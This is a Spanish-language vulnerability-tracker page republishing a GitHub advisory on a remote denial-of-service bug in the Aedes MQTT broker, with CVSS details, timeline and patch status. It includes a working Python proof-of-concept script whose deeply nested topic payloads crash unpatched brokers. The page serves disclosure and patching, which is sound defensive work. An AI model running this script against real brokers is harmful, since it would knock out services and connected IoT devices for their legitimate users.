llamaCVEVulnerability Intelligence
/
Advisory · GitHub · npm · aedes

GHSA-XXQP-5QX8-GJ5Q

Aedes has Uncaught Exception and Uncontrolled Resource Consumption

Texto original en inglés · Ver en español

Parche disponible
Descargar PNG JSON
CVSS 3.1
7.5
Alta
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H Fuente: GitHub
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche1 versiónPrimer parche a -143 d de la divulgación
Exposición23 hDesde la divulgación, 20 nov 2026, 6:32 p. m.
Detección1 minDesde la divulgación hasta su ingreso al índice
Decisión estimadaSeguir
Remediar en la ventana regular de mantenimiento
Estimación de Llama con el árbol SSVC de CISA a partir de vector CVSS 3.1 y la evidencia de explotación (sin evaluación oficial): sin explotación conocida, automatizable e impacto técnico parcial. Hay versiones corregidas disponibles.
No corre prisa, pero no la pierdas de vista.Ponle una regla en tu SIEM y seguimos.
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada +1
Explotación
Remediación
Parche 1.1.1
Monitoreo
Detectada
Fuente: GitHub Security Advisories +2
30 jun 26
19 nov 26
20 nov 26
21 nov 26
30 jun 26
5 ago 26
10 sept 26
16 oct 26
21 nov 26
FechaFaseEventoDetalle
Remediación Parche 1.1.1 aedes · -143 d desde divulgación
Monitoreo Detectada Ingresó al índice
Divulgación Publicada GHSA-XXQP-5QX8-GJ5Q divulgada · CVSS 7.5 (GitHub)
Divulgación Modificada Última actualización del registro
Monitoreo Fuente: GitHub Security Advisories Registro visto por primera vez en GitHub Security Advisories
Monitoreo Fuente: OSV Registro visto por primera vez en OSV
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés

### Summary
A remote Denial of Service (DoS) vulnerability, allows any remote client to cause a complete crash of the Aedes MQTT broker process. This is achieved by sending a specially crafted MQTT message (via PUBLISH or SUBSCRIBE), or by setting a Will message with such a topic, containing a highly recursive topic string (e.g., with thousands of '/' delimiters). The lack of input validation and error handling leads to an uncaught exception in an internal routing library, terminating the entire Node.js application.

### Details
The Aedes broker fails to enforce limits on the depth or structural complexity of MQTT topic strings. When a client publishes to or subscribes to a topic with excessive levels of recursion, the internal routing logic cascading into the qlobber library (via mqemitter) reaches an hard-coded limit within the qlobber._split_words function.

This function throws a hard Error: too many words (found in lib/qlobber.js:604). Crucially, Aedes does not wrap the calls to these internal modules (such as in handlers/subscribe.js or the publishing logic) in try-catch blocks. Consequently, this exception propagates up to the main Node.js event loop as an unhandled exception, causing the entire broker process to crash immediately.

This vulnerability affects all stable versions of Aedes due to the underlying dependency behavior and missing perimetral validation.

Stack Trace from Crash:

aedes-broker  | /app/node_modules/mqemitter/node_modules/qlobber/lib/qlobber.js:604
aedes-broker  | 	throw new Error('too many words');
aedes-broker  | 	^
aedes-broker  | 
aedes-broker  | Error: too many words
aedes-broker  |     at Qlobber._split_words (/app/node_modules/mqemitter/node_modules/qlobber/lib/qlobber.js:604:15)
aedes-broker  |     at Qlobber._split (/app/node_modules/mqemitter/node_modules/qlobber/lib/qlobber.js:624:18)
aedes-broker  |     at Qlobber.add (/app/node_modules/mqemitter/node_modules/qlobber/lib/qlobber.js:651:43)
aedes-broker  |     at MQEmitter.on (/app/node_modules/mqemitter/mqemitter.js:65:17)
aedes-broker  |     at Aedes.subscribe (/app/node_modules/aedes/aedes.js:289:11)
aedes-broker  |     at SubState.addSubs (/app/node_modules/aedes/lib/handlers/subscribe.js:167:12)

The same uncaught exception can be triggered without an explicit PUBLISH/SUBSCRIBE: a client that registers a Will message with a deeply nested topic crashes the broker when the Will is published on ungraceful disconnect, because the Will publish path calls broker.publish directly and bypasses the PUBLISH handler.

### PoC
Prerequisites
+ Aedes MQTT Broker running and accessible over the network. For testing and replication, the broker was deployed using the official Docker image via the following command:

docker run -d --name aedes-broker -p 1883:1883 moscajs/aedes:latest
  • Ability to establish an MQTT session (authenticated or unauthenticated, as per the broker's configuration).

Reproduction Steps

  1. Save the following Python stress testing script (mqtt_crash_poc.py):
#!/usr/bin/env python3
import argparse
import time
import paho.mqtt.client as mqtt

def on_connect(client, userdata, flags, reason_code, properties=None):
    if reason_code != 0:
        print(f"[-] Error en la conexión: {reason_code}")

def on_disconnect(client, userdata, disconnect_flags, reason_code, properties=None):
    if reason_code != 0:
        print(f"[*] -> Desconexión detectada (Caída del bróker). Razón: {reason_code}")

def run_exploit(host, port):
    # Escenarios de colapso directo (Casos 1.2, 1.3, 2.2, 2.3)
    payloads = [
            {"type": "PUB_DEEP", "topic": "a/" * 30000 + "target"},
            {"type": "PUB_LIMIT", "topic": "a/" * 32766 + "a/b"},
            {"type": "SUB_WILD", "topic": "+/" * 150 + "#", "pub": "A/" * 150 + "target"},
            {"type": "SUB_DEEP", "topic": "+/" * 10000 + "#", "pub": "A/" * 10000 + "target"}
    ]
        
    for case in payloads:
        print(f"\n[*] Lanzando vector de ataque tipo: {case['type']}")
        client = mqtt.Client(callback_api_version=mqtt.CallbackAPIVersion.VERSION2)
        client.on_connect = on_connect
        client.on_disconnect = on_disconnect
            
        try:
            client.connect(host, port, keepalive=60)
            client.loop_start()
            time.sleep(1)
                
            if "PUB" in case['type']:
                client.publish(case['topic'], payload="DoS_Attack", qos=0)
            else:
                client.subscribe(case['topic'], qos=0)
                time.sleep(1)
                client.publish(case['pub'], payload="DoS_Attack", qos=0)
                    
            time.sleep(2)
        except Exception as e:
            print(f"[-] Error durante el envío: {e}")
        finally:
            client.loop_stop()
            client.disconnect()

if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument("-d", "--direccion", required=True, help="IP del broker")
    parser.add_argument("-p", "--puerto", type=int, default=1883, help="Puerto")
    args = parser.parse_args()
    run_exploit(args.direccion, args.puerto)
  1. Run the script against the target broker:python3 mqtt_crash_poc.py -d <BROKER_IP> -p 1883
  2. Upon execution, the Aedes broker dies instantly on the very first packet (PUB_DEEP). Checking the container logs will reveal the stack trace provided in the Details section, confirming the Error: too many words exception.

### Impact
This is a Remote Denial of Service (DoS) vulnerability. It affects any infrastructure running an unpatched Aedes MQTT Broker. A successful attack terminates the service entirely, disconnecting all legitimate clients (IoT devices, applications, users) and preventing reconnection until the process is manually or automatically restarted, causing severe business and operational interruption.

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Vector CVSS 3.1

Desglose de métricas

Opción resaltada = valor del vector · izquierda = peor caso · GitHub
Vector de ataqueAV:N
RedAdyacenteLocalFísica
ComplejidadAC:L
BajaAlta
PrivilegiosPR:N
NingunoBajosAltos
InteracciónUI:N
NingunaRequerida
AlcanceS:U
CambiadoSin cambio
ConfidencialidadC:N
AltoBajoNinguno
IntegridadI:N
AltoBajoNinguno
DisponibilidadA:H
AltoBajoNinguno
Score de explotaciónQué tan fácil y probable es que la exploten
10.0/ 10Muy alto
Vector 10.0 (muy fácil) · sin evidencia de explotación.
Versiones

Rangos afectados

Afectada Corregida Última
aedes< 1.1.1
1.1.1
1.2.0
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
npmaedes
Corregida 1.1.1 -143 d 1.2.0 no afectada
Versiones corregidas1.1.1
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://nvd.nist.gov/vuln/detail/CVE-2026-63341
Otrahttps://github.com/moscajs/aedes/security/advisories/GHSA-xxqp-5qx8-gj5q
Otrahttps://github.com/moscajs/aedes/commit/b9024faa4cb416c4c6980760b4d7f55336315f2d
Otrahttps://github.com/moscajs/aedes
Otrahttps://github.com/moscajs/aedes/releases/tag/v1.1.1

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.